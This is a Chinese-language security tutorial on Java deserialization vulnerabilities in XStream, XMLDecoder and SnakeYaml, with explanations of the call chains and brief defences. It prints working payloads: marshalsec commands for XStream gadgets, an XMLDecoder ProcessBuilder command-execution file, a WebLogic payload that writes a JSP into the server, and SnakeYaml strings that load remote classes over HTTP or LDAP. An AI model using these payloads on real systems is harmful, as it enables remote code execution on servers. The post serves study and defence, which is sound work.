IDEA動態調試(三)——反序列化漏洞(xml+Yaml)

  • 2020 年 3 月 12 日
  • 筆記

大多數 java 項目用來處理數據基本上都是xml 和 json 兩種格式,上篇講了fastjson的反序列化,另一個json處理庫jackson的漏洞原理和利用方式類似。

這篇主講xml和yaml格式數據的處理,xml處理庫主要有Xmldecoder和XStream;Yaml類似於XML,如常見的docker-compose.yml,其最主流的處理庫是SnakeYaml,其他還有jyaml、YAMLBeans等,但較為少見。

1、Xstream

1) 序列化:

請求參數由JavaBean轉化成XML形式,用到的是toXML()方法:

2)反序列化:

新建反序列化類,對用戶輸入的xml文件進行解析,使用fromXML()方法,這裡xml文件內容為:

執行結果為如下,這是因為1.4.10 版本新增了一個通過 XStream.setupDefaultSecurity 方法來初始化安全框架的功能,但默認不被調用。

3)復現:

這裡還是使用工具生成惡意poc.xml,1.4.10版本存在CVE-2019-10173漏洞,但使用的payload和 CVE-2013-7285沒有區別:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar  marshalsec.XStream ImageIO "calc"> poc.xml

生成的payload為:

執行效果為:

Gadgets不只ImageIO這一個,其他還有:

CommonsConfiguration, Rome, CommonsBeanutils,ServiceLoader, ImageIO,BindingEnumeration, LazySearchEnumeration,SpringAbstractBeanFactoryPointcutAdvisor, SpringPartiallyComparableAdvisorHolder,Resin, XBean

在實際測試中可根據程式碼引用包選擇payload,結合JNDI進行攻擊,如:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.XStream CommonsBeanutils rmi://127.0.0.1:2333/exp

2、Xmldecoder

1)序列化:

用XMLEncoder生成hashmap對象的xml,標籤里指定了類名,方法名,參數等資訊:

2)反序列化:

將xml用XMLDecoder解析(反序列化):

3)復現:

這裡修改一下xml文件的內容:

<java version="1.8.0_131"class="java.beans.XMLDecoder"> <objectclass="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1">   <voidindex="0"><string>calc</string></void> </array> <void method="start"></void> </object> </java>

看程式碼里的 object 標籤內的class值是被實例化的類名,array 標籤里是 ProcessBuilder 對象的構造參數,void 標籤指定了 method 參數為 start,組合起來就是執行命令的payload:

new java.lang.ProcessBuilder(newString[]{"calc"}).start();

而攻擊Weblogic 的XMLDecoder payload只需要把xml文件改一下:

<java version="1.4.0" class="java.beans.XMLDecoder">  <objectclass="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string><void method="println"><string><![CDATA[ blue]]></string></void><voidmethod="close"/></object></java>

3、SnakeYaml

1) 序列化:

Yaml 使用dump()方法將一個對象轉化為yaml文件形式,這裡」!!」用於強制類型轉化,如果沒有」!」就是個key為字元串的Map。

2)反序列化:

使用load()方法將字元串或文件反序列化為一個Java對象,和xml、json很類似:

3)原理:

SnakeYaml全版本存在反序列化漏洞,當Yaml.load()函數的參數外部可控時,攻擊者就可以傳入一個惡意類的yaml格式序列化內容,當服務端進行yaml反序列化獲取惡意類時就會觸發SnakeYaml反序列化漏洞。

類比下Fastjson的反序列化的類方法調用,同樣調用了反序列化的類的構造函數和yaml格式內容中包含的屬性的setter方法,這裡可以在yaml.load(s)處打斷點,可跟蹤SnakeYaml反序列化的調用鏈。

4)復現

這裡使用基於:

javax.script.ScriptEngineManager

的利用鏈進行攻擊,ScriptEngineManager類用於Java和JavaScript之間的調用,可調用此類達到命令執行的效果。

和json反序列化的攻擊方法類似,使用遠程調用方法,先寫poc.java,實現ScriptEngineManager介面並寫入惡意程式碼,將其編譯成PoC.class然後放置於第三方Web服務中:

另外還需在已放置poc.class的第三方Web服務根目錄新建如下文件META-INFservicesjavax.script.ScriptEngineFactory,其中內容為指定被執行的類名poc:

最後是模擬一個場景,TEST類:

poc模擬用戶輸入,內容為:

!!javax.script.ScriptEngineManager[!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1/"]]]]

這樣可通過ScriptEngineManager來訪問特定伺服器的惡意class文件執行任意命令,效果:

至於為什麼要創建META-INF/services目錄,經調試可以發現在利用鏈init()中調用了initEngines(),它會去尋找目標URL中META-INF/services下的javax.script.ScriptEngineFactory的文件,找到指定文件便會載入其內容。

除此之外還有其他Gadgets,如

!!com.sun.rowset.JdbcRowSetImplndataSourceName: "ldap://localhost:1389/Exploit"n autoCommit:true"

5)防禦手段:

A.禁止Yaml.load()函數參數外部可控;

B.過濾用戶可控的參數內容,可使用SafeConstructor對反序列化的內容進行限制或使用白名單控制反序列化的類的白名單;